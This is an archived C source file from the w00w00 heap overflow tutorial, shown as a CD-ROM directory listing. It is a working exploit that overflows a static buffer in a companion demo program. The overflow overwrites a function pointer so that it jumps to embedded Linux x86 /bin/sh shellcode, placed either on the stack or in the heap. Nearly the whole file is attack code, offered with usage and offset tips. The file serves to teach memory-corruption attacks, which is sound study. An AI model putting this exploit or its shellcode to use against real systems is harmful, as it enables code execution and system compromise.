home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / heaptut / examples / vulpkgs / vulpkg3 / exploit3.c next >
Encoding:
C/C++ Source or Header  |  1999-01-22  |  2.5 KB  |  90 lines

  1. /*
  2.  * Copyright (C) January 1999, Matt Conover & WSD
  3.  *
  4.  * This demonstrates how to exploit a static buffer to point the 
  5.  * function pointer at argv[] on the stack, or the overflowed buffer in
  6.  * the heap (depending on argv[2] to the exploit).
  7.  *
  8.  * The exploit takes two argumenst (the offset and "heap"/"stack").
  9.  * For argv[] method, it's an estimated offset to argv[2] from
  10.  * the stack top.  For the heap offset method, it's an estimated offset
  11.  * to the target/overflow buffer from the heap top.
  12.  *
  13.  * Try values somewhere between 250-280 for argv[] method, and 650-670
  14.  * for heap.
  15.  *
  16.  * To compile use: gcc -o exploit2 exploit2.c
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <unistd.h>
  21. #include <stdlib.h>
  22. #include <string.h>
  23.  
  24. #define ERROR -1
  25. #define BUFSIZE 64 /* estimated diff between buf/funcptr */
  26.  
  27. #define VULPROG "./vulprog3" /* where the vulprog is */
  28.  
  29. char shellcode[] = /* just aleph1's old shellcode (linux x86) */
  30.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  31.   "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  32.   "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  33.  
  34. u_long getesp()
  35. {
  36.    __asm__("movl %esp,%eax"); /* set sp as return value */
  37. }
  38.  
  39. int main(int argc, char **argv)
  40. {
  41.    register int i;
  42.    u_long sysaddr;
  43.    char buf[BUFSIZE + sizeof(u_long) + 1];
  44.  
  45.    if (argc <= 2)
  46.    {
  47.       fprintf(stderr, "Usage: %s <offset> <heap | stack>\n", argv[0]);
  48.       exit(ERROR);
  49.    }
  50.  
  51.    if (strncmp(argv[2], "stack", 5) == 0)
  52.    {
  53.       printf("Using stack for shellcode (requires exec. stack)\n");
  54.  
  55.       sysaddr = getesp() + atoi(argv[1]);
  56.       printf("Using 0x%lx as our argv[1] address\n\n", sysaddr);
  57.  
  58.       memset(buf, 'A', BUFSIZE + sizeof(u_long));
  59.    }
  60.  
  61.    else
  62.    {
  63.       printf("Using heap buffer for shellcode (requires exec. heap)\n");
  64.  
  65.       sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
  66.       printf("Using 0x%lx as our buffer's address\n\n", sysaddr);
  67.  
  68.       if (BUFSIZE + 4 + 1 < strlen(shellcode)) 
  69.       {
  70.          fprintf(stderr, "error: buffer is too small for shellcode "
  71.                          "(min. = %d bytes)\n", strlen(shellcode));
  72.  
  73.          exit(ERROR);
  74.       }
  75.  
  76.       strcpy(buf, shellcode);
  77.       memset(buf + strlen(shellcode), 'A', 
  78.              BUFSIZE - strlen(shellcode) + sizeof(u_long));
  79.    }
  80.  
  81.    buf[BUFSIZE + sizeof(u_long)] = '\0'; 
  82.  
  83.    /* reverse byte order (on a little endian system) */
  84.    for (i = 0; i < sizeof(sysaddr); i++)
  85.       buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
  86.  
  87.    execl(VULPROG, VULPROG, shellcode, buf, NULL);
  88.    return 0;
  89. }
  90.